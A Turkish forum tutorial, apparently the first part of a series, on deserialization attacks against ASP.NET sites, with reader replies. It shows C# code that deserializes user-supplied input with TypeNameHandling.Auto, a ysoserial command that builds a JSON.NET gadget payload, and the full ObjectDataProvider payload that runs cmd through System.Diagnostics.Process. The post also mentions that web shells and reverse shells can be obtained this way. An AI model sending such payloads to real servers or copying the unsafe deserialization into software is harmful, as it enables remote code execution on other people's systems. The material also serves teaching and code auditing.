.net Attack v1

Merhabalar bu yazımda asp.net sitelerde saldırı methodlarını bölüm bölüm anlatacağım. Bu bölümde deserialization attack, injection anlatacağım.

Serialization nedir ve ne için kullanılır?

Kullanıcı tarafından aldığımız nesneyi veya sınıfı saklamak ve istediğimiz formata dönüştürmek için kullanırız.

Deserialize nedir ve ne için kullanılır?

Serialize ettiğimiz nesneyi eski haline yani orjinal hale getirme işlemidir.

Asp.nette nesneleri xml,json,binary olarak serialize edebiliriz.

Json serialize işlemlerinde “TypeNameHandling” json tür bilgisinide nesne ile birlikte alması("$type:System.blablabla") ile birlikte açık ortaya çıkar json serializersettings özelliklerinde All,Auto,Arrays.Objects olarak alınan veriler aynı şekilde açık ortaya çıkartır örnek;

{
‘$ type’: ‘IpAdd.Models.User, IpAdd’,
Ips: ‘1.1.1.1’,
}

Serialize İşlemi;

public class IPAddress
{
public string Ips { get; set; }
}
IPAddress ipadd = new IPAddress
{
Ips = Request.ServerVariables[“HTTP_X_FORWARDED_FOR”]
};
string json = JsonConvert.SerializeObject(ipadd, Formatting.Indented);

Çıktısı;

{
“Ips”: “127.0.0.1”
}

Deserialize İşlemi;

dynamic obj = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});

Çıktısı;

127.0.0.1

Basit örnekler bu kadar şimdi karşımıza çıkabilecek bir seneryo üzerinden anlatacağım. Aspx sayfasında bizim ip adresimizi base64 olarak alıp base64 decode ediyor ardından serialize ediyor sonra deserialize edip bir dosya içine kayıt ediyor.

Bir kaç deneme yapıp gönderiyorum

Normal birşey gönderdim ve true döndü ve ip adresini kayıt etti
1

2

Unexpected end when reading JSON. Path ‘$type’, line 2, position 12 deserialize yaparken jsonun verisi düzgün olmadığı için 500 bastı.

ysoserial deserialize payload ile deserialize için payload oluşturabiliyoruz bir çok gadgetleri destekliyor.

bununla json.net için bir payload oluşturup gönderelim.

ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c “calc”

bu şekilde sistemde komut çalıştırıp hesap makinesi açar isteğe göre web shell ve reverse shell alınabilir.

3

{
‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’,
‘MethodName’:‘Start’,
‘MethodParameters’:{
‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’,
‘$values’:[‘cmd’, ‘/c calc’]
},
‘ObjectInstance’:{’$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’}
}

payloadı gönderip çıktıyı görelim.

4

Bu sadece json için değildir FastJSON, Json.NET, JavascriptSerializer gibi bir çok kütüphanede bulunabilir.

Kaynak kodda deserialize bulmak için * TypeNameHandling,Json.Net,Newtonsoft.Json,JsonSerializerSettings,Serialization,SimpleTypeResolver,DeserializeObject arayabilirsiniz.

Devamı gelecektir…

Ref:

8 Beğeni

Bu yazı, NET deserialization hakkında Türkçe yazılmış nadir kaynaklardan biri sanırım. (Tekte olabilir) Ellerine sağlık aslan parçası.

3 Beğeni

Teşekkür ederim abi

Eline saglik abi , v2 yi sabirsizlikla bekliyoruz…

eyvallah kardeşim

1 Beğeni

Ellerine sağlık güzel anlatım olmuş :+1: